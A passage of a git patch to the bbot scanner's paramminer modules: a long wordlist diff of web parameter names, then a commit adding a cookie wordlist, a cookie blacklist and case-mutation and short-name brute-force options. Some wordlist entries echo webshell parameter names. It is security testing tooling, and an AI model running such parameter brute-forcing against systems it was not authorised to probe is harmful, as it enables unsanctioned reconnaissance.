googleplus gmdName gmdID gmdCode -gmd giveout -getupdatestatus getstatus getprogress getactivity @@ -3348,7 +2729,6 @@ geoOption generic gen gameid -fu ftpuser fstype front @@ -3357,22 +2737,17 @@ fromemail frequencyName frequencyID free -fp forgot foreignTable foreignDb forceRefresh folderpath flow -fldname fldlength fldlabel flddecimal fldType fldPickList -fldLength -fldLabel -fldDecimal fix firstday finishID @@ -3384,23 +2759,17 @@ fileurl fileto fileold filenew -filename2 filefrom fileframe filecontents -fileURL fileTitle fileDir fileDesc fieldlabel -fieldType fieldSep -fieldId fieldEnc -fh ffile favicon -fam external extensions exponent @@ -3410,7 +2779,6 @@ expDateYear expDateMonth expDate exemplar -exe exccat evtitle eta @@ -3430,26 +2798,18 @@ emailcomplete emailId editf editable -editUserGroupSubmit editUserGroup eday ecotax dwld -due -dto -dos documentID doaction doSearch doImport doExport dnssec -dns2 -dns1 -dn dmodule disk -disablelocallogging disabledBBC dis dirToken @@ -3458,7 +2818,6 @@ digest dialog dhcp dfrom -df depts demolish delsub @@ -3469,14 +2828,10 @@ deletesmiley deleteip deleteevent deletecheck -deleteUserGroup debet dbserver dbpw dbid -dbPrefix -dbPort -dbHost dayname datetype dateto @@ -3489,8 +2844,6 @@ datadir databaseloginpassword databaseloginname databasehost -dB -cw cvv2Number cvmodule customfield @@ -3527,20 +2880,16 @@ color2 colltype collTypeName collTypeID -collType codes cmspassword cmsadminemail cmsadmin -cls -clientId cleared classOptions claim chvalue chpage chkagree -checkprivstable checkprivsdb checkout checking @@ -3551,12 +2900,8 @@ check1 channels changepassword changecurrent -changeUserGroup cfgval cfgkey -categoryID -cardtype -cap callbackPW callNumber calendarid @@ -3569,9 +2914,6 @@ bridge breadcrumb bphone boxes -box3 -box2 -box1 bootstrap bomb boardtheme @@ -3593,7 +2935,6 @@ beginner bcountry bconfirmemail bcity -bbc baza batchID batchExtend @@ -3615,9 +2956,7 @@ arch applicable appkey appeal -aop animal -altmethodpayload alterview alsoDeleteFile allsignups @@ -3631,9 +2970,7 @@ aemail adopt adminuser adminpass2 -adminEnableRecovery addcategory -addUserGroupSubmit addUserGroup addSpider addReply @@ -3642,72 +2979,28 @@ addList acttype actors actionName -acl acct accountnumber accountname -abc -aID -WSDL -UserChangePassForm -UID -Test -Term -Tab -T -Submit1 -Settings -SaveInSent -SORT SHIPTOSTREET2 -Review -ReturnUrl -RecordingDuration -Project -Product PasswordResetForm PasswordForm -Or MenuItem -Menu -METHOD -Language LOCALECODE -Issue InstallForm -Group -ExpirationYear -ExpirationMonth -ERORR -DialCallStatus DeviceType -DATE -D -Condition CallSid -CVV -B -AudioPlayerSubmit -AudioPlayerReset -AccountNumber zonefile zipName zhsd -yy ystart yellowtemp yellowstales -yellowremfails yellowrejects -yellowgetfails yellowgessper yellowfan -yellowdiscards -yellowavgmhper years yahoo -xxx -xx xtype xnum xmode @@ -3717,12 +3010,9 @@ xjxfun xjxevt xjxcls xjxargs -xjxGenerateStyle -xjxGenerateJavascript xhrLocation xhprof xdebug -wu wstoken writeSchema wresult @@ -3736,8 +3026,6 @@ workflow workerId wordlist wood -wlk -wli withdraw withCount wins2 @@ -3746,26 +3034,18 @@ wins wildcard wikitext wide -whw whom websiteId webserver webpage webguiproto webguiport -wbp wbcp warn want wakeall -wa vuln -vrt vpntype -vouchersyncusername -vouchersyncport -vouchersyncpass -vouchersyncdbip vouchers volume void @@ -3775,7 +3055,6 @@ vlanprio vjcomp villagename viewweek -viewupgradelog viewscope viewMode viewBag @@ -3783,10 +3062,7 @@ videos videopress videoTitle videoTags -videoId -videoDescription videoCategory -vhostcontainer vhid vgrlf versions @@ -3796,7 +3072,6 @@ verification verboselog verb vecdo -ve vcheck vbxsite vbulletin @@ -3821,7 +3096,6 @@ userrealname usernamefld username2 usermail -userlogin userlevel userinfo userids @@ -3829,19 +3103,16 @@ userf useraction userPassword userEdit -userDialogResult userAgent usepublicip useicmp usecurl -useR uscmnds urlup urltype urlf urldd0 url2 -urL upports uploadurl uploading @@ -3854,14 +3125,12 @@ upl upip upin upff -upf updateurl updatempd updateme updateid updatefile updateType -updateMsgCount upcont upcom upchange @@ -3873,22 +3142,13 @@ unknown units unitprice uniqueid -uniqueID undodrag unbanreason ulang -uk -uf -ucd uback -uN -uID -u1p typeofdata typename typefilter -type6 -type1 txtwebemail txtsupport txtUsername @@ -3905,7 +3165,6 @@ tunable tribe tresc trapstring -trapserverport trapserver trappercap trapenable @@ -3929,7 +3188,6 @@ tooltip tomod toid toProcess -tn tld titulo titre @@ -3940,7 +3198,6 @@ timeoffset timeint timedescr timedd0 -timeFormat tile tids ticketid @@ -3948,9 +3205,7 @@ ticketbits thumbWidth thumbHeight throwexception -threadID thisX -themeName tftpinterface textonly texto @@ -3962,7 +3217,6 @@ testvar testdbpwd testdb testType -testMode testID templatefile tempName @@ -3970,26 +3224,19 @@ temat teamid teacher tdir -td tcpmssfix -tcpidletimeout tcp tbname tbls taxtype taxrate -taskID targetname targetip tagcloudview -tagId tablo -tableList tabla tabAction tab1 -ta -t3 syslocation sysevents sysemail @@ -4017,112 +3264,56 @@ subnet submode submitv submitrobots -submithtaccess submitf submitThemes submitReset submitFilter -submitFilesAdminSettings submitEmail submitAdd -submit4 -submit3 submail subjectid subfolder subdomains -subcanemaildomain -subId subGenre stuid stuff students studentidx -sts strukt stringtoh strin strictcn strictbind streamMode -stp storagegroup stoptime -stoppool -stoppga -stopbtn stime stereo stepid -step5 stdlib stderr statut -statusid -statsgraph staticarp -statetype -statetimeout -statetable -stateid stateOrProvinceName startyear -startpool -startpga startnum -startmonth -startdisplayingat -startbtn -startMonth starred stamp staffId stack -sshdkeyonly srname -srm -srctype -srctrack -srctext -srcnot -srcmask srch -srcfmt -srcendport -srcbeginposrt -srcbeginport -sr sqtid sqsrv sqquery sqpwd sqprt sqlwxp -sqluser4 -sqluser3 -sqluser2 -sqluser1 sqltype sqlty -sqlportb4 -sqlportb3 -sqlportb2 -sqlportb1 -sqlport4 -sqlport3 -sqlport2 -sqlport1 sqlport -sqlpass4 -sqlpass3 -sqlpass2 -sqlpass1 sqlog sqlite2 -sqlhost4 -sqlhost3 -sqlhost2 -sqlhost1 sqlfile sqldp sqldebug @@ -4130,7 +3321,6 @@ sqlcode sqlaction sqdbn sqconf -spy spots spot sport @@ -4138,49 +3328,35 @@ spoofmac spellstring spelling specs -specifiedpassword specialsettings speciallogfile specialFiles spammer spamcheck -sourcetracking sourceport sourceip -sourcego sorttable sortname sorting sortdirection -sortdir sortable -sortField songid soname something somestuff some solrsort -snn snmpscanner snatched -snaplen smtptls smtpssl smtprelay smtpnotifyemailaddress smtpipaddress smtpfromaddress -smtpPassword sms smode smile -smfdbu -smfdbp -smfdbn -smfdbh -smf -smartpagebreak smartmonemail slot slid @@ -4188,18 +3364,14 @@ skiplang skipIOS skipANDROID skinname -skinName -sk sjid sizey sizes sitter2 sitter1 sitedown -siteId simpin silver -showthumbs showtext showslow showmessage @@ -4208,7 +3380,6 @@ showinactive showbd showact showIndex -showFooterMessage shorturl shortseq shopping @@ -4216,7 +3387,6 @@ shiptobilling sharing sharednet sh311 -sh3 sfname sfldr sfilter @@ -4230,24 +3400,19 @@ setoption setname setlanguage setlang -setdefault setUserAgent setPublic sessions sessid sess -servicestatusfilter serviceName -serversdisabled serverip servercn -serverId serie serialspeed serialport serialize serdir -ser sentitems senm senha @@ -4260,7 +3425,6 @@ sendfile senderEmail sendemail sendactivation -sendTo selyear selmonth sellernick @@ -4283,19 +3447,12 @@ secs secretKey searchval searchuser -searchstring -searchfield -searchadvsizeto -searchadvsizefrom searchadvr -searchadvposter -searchadvgroups searchadvcat searchUsername searchQuery searchOper searcc -seC scrubrnid scrubnodf scores @@ -4303,7 +3460,6 @@ schooldatex schedule0 sched scalepoints -sca sbjct savmode savetest @@ -4312,7 +3468,6 @@ savehostid savegroup savefolderurl savefolder -savefilenameurl savefilename savedraft saveconf @@ -4320,7 +3475,6 @@ savePath saveNedit saveNcreate saveNback -sat sampledata salutation saleprice @@ -4330,26 +3484,16 @@ safecss safe sabsetting sabapikeytype -sYear -sName sColumns s3key s3bucket rxantenna rwenable rwcommunity -rvm runsnippet runid runer runState -rtl -rstarget4 -rstarget3 -rstarget2 -rstarget1 -rsswidgettextlength -rsswidgetheight rssurl rssmaxitems rrule @@ -4357,7 +3501,6 @@ rrdbackup rport rpassword rownum -rowId routeid rootpath rollbits @@ -4368,8 +3511,6 @@ rmid richtext rfiletxt rfile -rfc959workaround -rf reverseacct returnsession returnpage @@ -4390,7 +3531,6 @@ resetwidgets resetpass resetlogs resetlog -resetPassword rescanwifi requests reqid @@ -4418,7 +3558,6 @@ rempool removep removemp removefields -removeOldVisits remoteserver3 remoteserver2 remotekey @@ -4449,7 +3588,6 @@ refuse refund refuid refreshinterval -reflectiontimeout refkod referid referer2 @@ -4465,7 +3603,6 @@ recreate recordsArray recordcount recordType -recordID reconstruct recommend recipientCurrency @@ -4473,77 +3610,43 @@ recipientAmount recherche receipient recache -reauthenticateacct reauthenticate realpath readonly readme reading rdata -rawAuthMessage -rasamednsasdhcp6 rapriority randkey ramode rainterface -radomainsearchlist radns2 radns1 radiusvendor -radiusserverport -radiusserveracctport -radiusserver2port -radiusserver2acctport -radiusserver2 radiusserver -radiussecret2 radiussecret -radiussecenable -radiusport4 -radiusport3 -radiusport2 radiusport radiusnasid -radiuskey4 -radiuskey3 -radiuskey2 radiuskey -radiusissueips -radiusip4 -radiusip3 -radiusip2 radiusip radiusenable -radiusacctport radiobutton radPostPage -rN -rM -r3 r00t -qx quoteid qunfatmpname quizid quitchk quietlogin -quickmanagertv -quickmanagerclose quickmanager quicklogin questions -querytype querysql queryString -quantityBackup -qu -qtranslateincompatiblemessage qsubject qqfafile qmrefresh qact3 -q3 -q2 purgedb puremode purchaseorderid @@ -4551,9 +3654,7 @@ purchaseid publickey pubkey pubdate -puT ptpid -ptp psk psid pseudo @@ -4584,14 +3685,10 @@ prj privid privatekey priv -priority3 -priority2 -priority1 prio printer principal primarymodule -primaryconsole prices pri prevpage @@ -4609,9 +3706,6 @@ ppsselect ppsrefid ppsport ppsfudge1 -ppsflag4 -ppsflag3 -ppsflag2 pppoeid ppid ppdebug @@ -4643,20 +3737,15 @@ plusminus plname plid playlistTitle -playlistDescription plaintext pkgs pkgrepourl pinned pictitle pics -pickfieldtable pickfieldname -pickfieldlabel -pickfieldcolname pick piasS -pi phpsettings phpsettingid phpenabled @@ -4668,7 +3757,6 @@ phpbbdbh phpbb photoid phoneNr -phone3 pguser pgsqlcon pgport @@ -4676,23 +3764,11 @@ pgdb peruserbw personality personId -persistcommonwireless persist -perms9 -perms8 -perms7 -perms6 -perms5 -perms4 -perms3 -perms2 -perms1 -perms0 permStatus periodo periodidx perform -perPage peerstats peace pdouser @@ -4709,17 +3785,13 @@ paths pathf path2news patch -passwordnotifymethod passwordkey passwordgenmethod passwordfld2 passwordfld1 passwordfld -passwordconfirm passwordc passwdList -passthrumacaddusername -passthrumacadd passgen passf passenger @@ -4739,24 +3811,16 @@ pageborder pageType pageOwner padID -paID -pW pUID pPassConf pPass -pPage -pName pMail pDesc -p3 -p2p p2index p2entry p1index p1entry -overwriteconfigxml overdue -ouT ostlang orionprofile origname @@ -4775,23 +3839,17 @@ oper openings opened openbasedir -oof -onw onlyforuser onlyfind ondemand -on oldtime olddir oldaction -oldPlaylistTitle oldMountPoint -oldEmail odbcuser odbcpass odbcdsn odbccon -odb occupation objectIDs obj @@ -4802,7 +3860,6 @@ numlabel numberposts numail nuked -nuf ntporphan nslookup nrresults @@ -4814,7 +3871,6 @@ nounce notrap notices noti -not nosync noserve noreload @@ -4832,25 +3888,20 @@ nome nomacfilter nolimit nolang -nohttpsforwards -nohttpreferercheck nohtml nogrants noexpand noedit nodraft -nodnsrebindcheck nodeid noconcurrentlogins noantilockout noaction -noRedirect noOfBytes nmdf nfile nf4cs nf4c -nf1 nextserver nextid nextPage @@ -4879,17 +3930,9 @@ newX10Monitor newWindow newVideoTitle newVideoTags -newVideoDescription -newVideoCategory -newValue -newText newSite newProject -newPlaylistTitle -newPlaylistDescription -newPath newMonitor -newGroup newGame newControl netgraph @@ -4897,15 +3940,11 @@ netboot nested neg ncbase -nc natreflection natport nameren namelist namefe -name3 -namE -n1 myusername mysqls mysqlcon @@ -4919,8 +3958,6 @@ mybbdbu mybbdbp mybbdbn mybbdbh -mw -mve mvdi mute music @@ -4930,15 +3967,12 @@ multifieldname multifieldid mtype mtu -mto mtext msubj mssqlcon -mss msqur msq1 msid -msi msgtype msgnoaccess msgno @@ -4956,13 +3990,10 @@ movd mount motivo motd -moodlewsrestformat mon moduletype moduleorder moduleguid -moduleType -moduleId modified modfunc modfile @@ -4970,19 +4001,14 @@ moderate modelId modeid modcat -modE mobj mobilephone mnam mmsg mmail mlist -ml -mkF -mkD mito minkills -minViewability minJs minCss mimetypes @@ -4992,8 +4018,6 @@ mibii mhtc mhost mhash -mh -mg mfrom mfldr mffw @@ -5001,7 +4025,6 @@ metadata messagesubject messageid messagebody -messageMultiplier mess meridiem mergefile @@ -5015,7 +4038,6 @@ memday944 memday942 memberPasswd2 memberPasswd -memberPassWord mediatype mediaopt medalweek @@ -5025,9 +4047,7 @@ md5q md5pass md5hash md5crack -md mcid -mc mbox mbadmin maxtry @@ -5040,7 +4060,6 @@ maxprocperip maxproc maxmss maxleasetime -maximumtableentries maximumstates maxgetfails maxgessper @@ -5059,7 +4078,6 @@ masdr marker markdefault manual -managerlanguage manage man makeupdate @@ -5068,7 +4086,6 @@ maint mainmessage mainGenre mailsent -maillisttmpname mailcontent mailbodyid mailbody @@ -5076,21 +4093,13 @@ mailMethod mailAuth magicfields macname -mV mSendm -mKf -mKd -mD lucky lticket -lp losslow losshigh loopstats -lookfornewversion -longlastingsession logsys -logprivatenets logpeer logoutid loglighttpd @@ -5101,25 +4110,18 @@ loginautocomplete logic loggedAt logfilesize -logfilE logf logeraser -logdefaultpass logbogons logall logable -logType -logFile lockid -locationid localized localityName localip localfile localf -localbeginport loan -lm live listorder listmode @@ -5128,10 +4130,7 @@ liste1 liste listSubmitted listItem -listId linkedin -link1 -link0 limitpage limitless limite @@ -5140,7 +4139,6 @@ lfilename lemail legendstyle legendsize -legendfontsize legendfontr legendfontg legendfontb @@ -5149,27 +4147,20 @@ lecture leaptxt leadval leadsource -lbg lbcp latencylow latencyhigh lastactive -lastActive langs -langname lanes lane landscape lan laggif l7container -kr -kod king kime -kim killfilter -kil keytype keylen keyid @@ -5195,7 +4186,6 @@ isnano isim isenabled isemaildomain -iscustomreport iscomment iscatchall isbinddomain @@ -5204,7 +4194,6 @@ isSwitch isDev iron ipv6allow -ipsecpsk ipscanner iprestricted ipprotocol @@ -5212,7 +4201,6 @@ ipproto iplist ipandport ipaddrv6 -invoiceId inviteesid invited invitation @@ -5222,7 +4210,6 @@ introeditor interfaces instanceId installstep -installGoingOn inputid inputSize injector @@ -5235,22 +4222,16 @@ inid inf3ct ineligible indent -includenoncache incl iname inajax inactive -inViewWarnings inViewLogs inViewErrors -inSessionSecuirty inRemember inNewUserName -inForgotPassword -inDownLoad inConfEmail inBindLog -importrobotsmeta importonly importmethod importid @@ -5259,20 +4240,16 @@ importer important importaioseo importType -importFile impersonate imgtype imgid -imdbID imagename imagefile imagedetails imageUrl imageThumbID -imagE ikesaid ikeid -ignoresubjectmismatch ignorephpver ignorefatal ignored @@ -5284,9 +4261,7 @@ idname idletimeout identity identifiant -idb idSite -idL id9level id9gid id8level @@ -5367,7 +4342,6 @@ id11level id11gid id10level id10gid -icp icode icmptype icerik @@ -5382,21 +4356,15 @@ httpbanner htmlemail html2xhtml htcc -htc htaccessnew -hrs howmuch howmany howlong -how hostres hostipformat hostapd -hostName -hosT horario holdcnt -hlp hldb hidrfile hidid @@ -5407,17 +4375,12 @@ hidFileID hid hellotime health -hd -hc having hashtoh hashkey hasAudio hardenglue -ham gtin -gt -gs grupo grps grpage @@ -5433,7 +4396,6 @@ graphlot granularity grants granted -gr gpstype gpssubsec gpsstratum @@ -5446,47 +4408,31 @@ gpsnmea gpsinitcmd gpsfudge2 gpsfudge1 -gpsflag4 -gpsflag3 -gpsflag2 -gpsflag1 gotod goodsid gomkf godb godashboard goal -gn github -gip gifif ggid gfils getpic getm getenv -getdyndnsstatus getdb getdate getcfg -getThermalSensorsData -getOutputCompression generatekey generateKeypair general -ged -geT gdork -gd -gc gbid gatewayv6 -gameID gadget -ga fyear fwdelay -fw fvonly fuzz functionz @@ -5504,19 +4450,16 @@ friend fresh frames fqdn -fq fpath fpassw forwarding forwarderid -formname formfactor formdata formatup formats formatdown formage -formId formAutosave forgotPassword forever @@ -5527,9 +4470,7 @@ fontr fontg fonte fontb -fontSize following -folderId fmt flushcache flowtable @@ -5538,40 +4479,27 @@ floating fldMandatory flashtype flashpga -fl fixmetadesc firmwareurl finds findid fin filtre -filtertext -filterlogentriesinterfaces -filterlogentries -filterdescriptions filled filew filetosave filesend fileoffset -filename64 -filename32 filecreate filecount -fileOffset fileLength -fileExistsAction fileEdit fileDataName -fileContent file2ch -filE fieldkey fieldCounter fid2 feedId -fe -fdo fdel fcsubmit fcopy @@ -5583,7 +4511,6 @@ fast familyName facility facid -fType ezID eyear extras @@ -5609,14 +4536,9 @@ exists exif executeForm execmethod -execmassdeface -excludedRecords exchange -exc exTime -exT ewidth -eventname eventTitle evap evalsource @@ -5624,7 +4546,6 @@ evalinfect evalcode evac etag -et eshopId eshopAccount esId @@ -5636,9 +4557,6 @@ epot epoch entryid entryPoint -entryId -entryID -entityID entire enhanced enforceHTTPS @@ -5647,10 +4565,7 @@ endmonth encoder encod enablestp -enablesshd enableserial -enablenatreflectionhelper -enablebinatreflection emonth eml embedded @@ -5659,10 +4574,8 @@ emailfrom emailch emailToken emailList -emailID emailBody elementType -ee edittxt editprofile editkey @@ -5701,20 +4614,14 @@ dpgn dpath downloadid downloadbtn -downloadbackup downloadIndex -downloaD downf downchange dosthisserver -dosearch dopt -donotbackuprrd domerge domen -domainsearchlist domainname -domaiN doimage documentroot documentgroup @@ -5725,12 +4632,8 @@ docgroup doRegister doDelete dnssrcip -dnssecstripped dnsquery dnslocalhost -dnsallowoverride -dns4 -dns3 dnpipe dlgzip dldone @@ -5743,16 +4646,9 @@ distribution diskspace discipline disapprove -disablevpnrules -disablesegmentationoffloading disablescrub -disablereplyto disablenegate -disablelargereceiveoffloading -disablehttpredirect disablefilter -disableconsolemenu -disablechecksumoffloading disablecheck disablecarp disablebeep @@ -5766,20 +4662,13 @@ dircreate diract dirList dimensions -dig diff dhtc -dhcpv6leaseinlocaltime -dhcprejectfrom -dhcpleaseinlocaltime dhcphostname dhcpfirst dhcpbackup -dhcp6usev4iface -dhcp6prefixonly dfilename devid -deviceid detail0 destslice destino @@ -5815,7 +4704,6 @@ deleteg deletedir deletedSpecs deletecntlist -deleteUser deletePrices deleteList deleteIndex @@ -5828,7 +4716,6 @@ degrees deftime defaulttemplate defaultqueue -defaultleasetime defaultgw deduction decrypt @@ -5842,21 +4729,14 @@ deathplace deathdate deadline deact -deS -deL -ddo ddnsupdate -ddnsdomainprimary -ddnsdomainkeyname ddnsdomainkey ddnsdomain dbsocket dbn dbbase -dbUsername dbTablePrefix dbPwd -dbPass dbOP datestamp datechange @@ -5871,34 +4751,26 @@ dataangle data2 darezz dare -dID -cx customernumber customcss -customaddtplid customId customFieldId currentday currentPassword currentPage currencyid -currencyCode curpath cuenta -ctx ctrl ctag csvIDs csspreview csrftoken csr -cs2 -cs1 crypo crtty crrt crefile -createstdsubdomain createlist createdon createaccount @@ -5907,8 +4779,6 @@ crcf crannycap cracK cpyto -cpw -cpath cpass cpage coverage @@ -5918,11 +4788,8 @@ coupling countryID countonly copyname -cop -contenttype containerid contactidlist -contactID contactEmail cont consumerSecret @@ -5951,14 +4818,12 @@ combo color1 college collectionto -collectionfrom collectcolumn coin codetype coded codeblock coauthors -coM cnpj cmspasswordconfirm cmode @@ -5975,15 +4840,12 @@ clockstats clipboard cleartokens clearquery -clearlogs clearSess clearLog cleancache clay classname cktime -ckeditor -ck cipher cinterface cids @@ -5991,7 +4853,6 @@ choix choice2 chmodnow chmodenum -chm chkalldocs chfl checksumbits @@ -5999,7 +4860,6 @@ checknum checkmetadesc checkid checkconnect -checkaliasesurlcert chdir chats chatmsg @@ -6009,10 +4869,7 @@ chapter chapo changestatus changero -changeVisitAlpha changePass -cfy -cfx cfilename cfile cfil @@ -6021,12 +4878,10 @@ certsubject certref certid certdepth -cds cdirname cdir cateid categoryname -categoryName catalogid catalogName casein @@ -6037,48 +4892,38 @@ capture cantidad canpreview canned -caneditphpsettings caneditdomain cancelled canceldelete campo cambio callop -callerId caid cacheable cable -cP c37url -c2 byws bythis bysyml bypcu -bypassstaticroutes byoc byfc9 byfc byetc -bye bycw byapache bwdefaultup bwdefaultdn -bv buy buttonval buttons businessName bulletin budget -bs broadcast bridgeif breakpoints breakpoint -bps -bpg bpage bounce bottom @@ -6087,30 +4932,24 @@ bootslice boolean bookings bonus -bogonsinterval boardmod blogtitle blogtags blogbody blockpriv blockeduntil -blockedmacsurl blockedafter blockbogons blatent birthplace birth -bip bindpw bindip binddn -bgColor benchmark behaviour -be bduss bcip -baz baslik basket basic @@ -6120,9 +4959,7 @@ bantime bannedUser banip banid -backurl backupcount -backupbeforeupgrade backuparea autorefresh autoredirect @@ -6147,7 +4984,6 @@ authcfg auid attendance attachmentsid -attachmentUploadDir attachmentId attachid attaches @@ -6165,16 +5001,11 @@ argb arg2 archivo archivedate -archiveDate apple apnum -apn apinger -apiKey -aot answerid annotation -ann animetitle anidb andor @@ -6188,7 +5019,6 @@ allyid allss allqw allowopts -allowinvalidsig allowed allowZipDownload allids @@ -6196,23 +5026,17 @@ allfields allergies allDepts aliasimport -aliasesresolveinterval aliA algo alertEmail albumname -alI -al -ak ajaxMode ajaxCalendar ajaxAction -aj airdate agentoption affw affiliate -af advskew advbase advancedview @@ -6220,10 +5044,6 @@ adsr adresse admins adminlogin -adminUser -adminPass -adminPWD -adminEmail adlr addurl addtype @@ -6232,7 +5052,6 @@ addtag addsite addrule addressren -address0 addpool addonkey additionalData @@ -6240,13 +5059,10 @@ addfile addevent addcat addacc -addUser addOption -addComment addBase adaptivestart adaptiveend -adapter ad2syp ad2syc actreject @@ -6261,192 +5077,88 @@ act3 act2 acpage ackqueue -ack acfcomp accLimit acao abbr -ZipName -Yol -Y -XL WIDsubject -VerifyCode VPSSignature -UserType -UserSettingsForm -UserName UserLoginForm UserForm -UserCreateForm -URI TxAuthNo TrYaG Touchm Toucha -Touch -Taxonomy -Task -Target -TO TITL SysMessage SubsiteID -Submit2 StoreCategory -StepID Soups ShareForm SettingsForm -Setting -Service SecurityKey SearchForm Sandwiches Salads SURN -SUBMIT SPFX SAMLRequest -Result -ResourceUploadForm ResetRRD -Register -ReduxFrameworkPlugin ROMN -RESULT -RESET -REPO RECHECK -RC -Q -Public -ProjectUserForm -PostCodeResult -PostCode -Plain -Person -Perms PayerStatus ParentPage -Parent -PWD PUBL -PHONE -Owner Opt2 Opt1 OpenWith -Object NetworkUserID -NetworkScreenName -NetworkPlatform NSFX NPFX -NOTE -NICK N3tshcook ModuleVar -LostPasswordForm -Lookup LegendMode Last4Digits -LATEST KloutID Joomla -Import IPv6 -HowMany Hkrkoz -Help Heads -Hash HMACKey Good GiftAid -GROUP GRAPHS GIVN -GENDER -Form -Flag -Filter FileIDs -File -Field FactoryName FactoryId FXuser FXpass FXimage FONE -FILES -FIELDS -Export ExpiryDate -Example -Event EmailForm EVEN -ENCRYPTION -E -Download -DevForceUpdate Desserts -DUMP -DESC -Customer CustomPage -Currency -Create -Coupon ContentList -Contacts -City -Cancel CallStatus -Calendar CV2Result CSalt -CID CHIL CAVV -CAPTCHA CALN -Blog -Block Beverages AuthItemChild -Attachment Albania -Admin AddressStatus AddressResult Accounts AVSCV2 -AUTH -AMOUNT -ALL -ABBR -4 3DSecureStatus -23 -22 -21 -2 -17 -16 -15 -14 -13 -12 -11 -_escaped_fragment_ __amp_source_origin http_host api-version -x-method-override -x-http-method-override access_token applicationid assembly @@ -6456,7 +5168,6 @@ buildid checkin checkno classID -classid classnames codetext connectionData @@ -6469,10 +5180,8 @@ dataid echo FappId flinkid -FLinkId idNoticia idUsuario -Usuario Noticia jobid linkid From 6f774c1efbfe045af869d8d658e6e71a5c04aa8d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 26 Apr 2026 13:10:56 -0400 Subject: [PATCH 569/912] paramminer: modern adds, dedicated cookies wordlist, mutate_case + brute_short options --- bbot/defaults.yml | 20 + bbot/modules/paramminer_cookies.py | 6 +- bbot/modules/paramminer_getparams.py | 43 +- bbot/modules/paramminer_headers.py | 68 ++- bbot/presets/web/lightfuzz-max.yml | 3 +- bbot/presets/web/paramminer-heavy.yml | 15 + bbot/wordlists/paramminer_cookies.txt | 557 +++++++++++++++++++++++ bbot/wordlists/paramminer_headers.txt | 146 ++++++ bbot/wordlists/paramminer_parameters.txt | 65 +++ 9 files changed, 913 insertions(+), 10 deletions(-) create mode 100644 bbot/presets/web/paramminer-heavy.yml create mode 100644 bbot/wordlists/paramminer_cookies.txt diff --git a/bbot/defaults.yml b/bbot/defaults.yml index b8bfa3bfac..fc83c555cb 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -263,8 +263,25 @@ parameter_blacklist: - ASP.NET_SessionId - .AspNetCore.Session - PHPSESSID + - sessionid + - csrftoken - __cf_bm + - cf_clearance + - _abck + - bm_sz + - ak_bmsc - f5_cspm + - _ga + - _gid + - _gat + - _gcl_au + - _fbp + - _fbc + - __utma + - __utmb + - __utmc + - __utmz + - _hjid parameter_blacklist_prefixes: - TS01 @@ -277,6 +294,9 @@ parameter_blacklist_prefixes: - ApplicationGatewayAffinity - JSESSIONID - ARRAffinity + - _hjSession + - _gat_ + - intercom- # Don't output these types of events (they are still distributed to modules) omit_event_types: diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 871238d803..0956ad6858 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -20,17 +20,15 @@ class paramminer_cookies(paramminer_headers): "skip_boring_words": True, } options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", + "wordlist": "Define the wordlist to be used to derive cookies", "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", } - options_desc = {"wordlist": "Define the wordlist to be used to derive cookies"} scanned_hosts = [] - boring_words = set() _module_threads = 12 in_scope_only = True compare_mode = "cookie" - default_wordlist = "paramminer_parameters.txt" + default_wordlist = "paramminer_cookies.txt" async def check_batch(self, compare_helper, url, cookie_list): cookies = {p: self.rand_string(14) for p in cookie_list} diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 27a99f8ab4..c951808d37 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -1,4 +1,8 @@ -from .paramminer_headers import paramminer_headers +import itertools +import string +from urllib.parse import urlparse + +from .paramminer_headers import paramminer_headers, _mutate_case class paramminer_getparams(paramminer_headers): @@ -19,17 +23,54 @@ class paramminer_getparams(paramminer_headers): "wordlist": "", # default is defined within setup function "recycle_words": False, "skip_boring_words": True, + "mutate_case": False, + "brute_short": False, } options_desc = { "wordlist": "Define the wordlist to be used to derive headers", "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", + "mutate_case": ( + "Also test case-mutated variants of each entry " + "(camelCase for snake_case/kebab-case, Title case for single words). " + "Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm." + ), + "brute_short": ( + "Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. " + "Costs ~18,278 extra requests per host — opt-in for thorough scans." + ), } boring_words = {"utm_source", "utm_campaign", "utm_medium", "utm_term", "utm_content"} in_scope_only = True compare_mode = "getparam" default_wordlist = "paramminer_parameters.txt" + async def setup(self): + result = await super().setup() + if self.config.get("brute_short", False): + chars = string.ascii_lowercase + extra = set() + for length in (1, 2, 3): + extra |= {"".join(c) for c in itertools.product(chars, repeat=length)} + # respect global blacklist + boring words on generated combos + extra -= self.boring_words + extra -= self.global_blacklist + if self.global_blacklist_prefixes: + extra = {w for w in extra if not w.startswith(self.global_blacklist_prefixes)} + self.wl |= extra + self.debug(f"brute_short: added {len(extra)} 1-3 letter combinations") + return result + + def _mutate_for_url(self, url, words): + if not self.config.get("mutate_case", False): + return words + path = urlparse(url).path.lower() + for ext in self.case_insensitive_extensions: + if path.endswith(ext): + return words + mutations = {m for m in (_mutate_case(w) for w in words) if m} + return words | mutations + async def check_batch(self, compare_helper, url, getparam_list): test_getparams = {p: self.rand_string(14) for p in getparam_list} return await compare_helper.compare( diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index ae573abadf..7a21def133 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -3,6 +3,28 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule +_case_split = re.compile(r"[-_]+") + + +def _mutate_case(word): + """ + Multi-word (snake_case/kebab-case) → camelCase: ``user_id`` → ``userId``. + Single word → Title case: ``admin`` → ``Admin``. + Returns None if no useful mutation exists. + """ + parts = _case_split.split(word) + if len(parts) >= 2: + head = parts[0] + tail = "".join(p[:1].upper() + p[1:] for p in parts[1:] if p) + if not tail: + return None + result = head + tail + else: + if not word or not word[0].islower(): + return None + result = word[:1].upper() + word[1:] + return result if result != word else None + class paramminer_headers(BaseModule): """ @@ -27,6 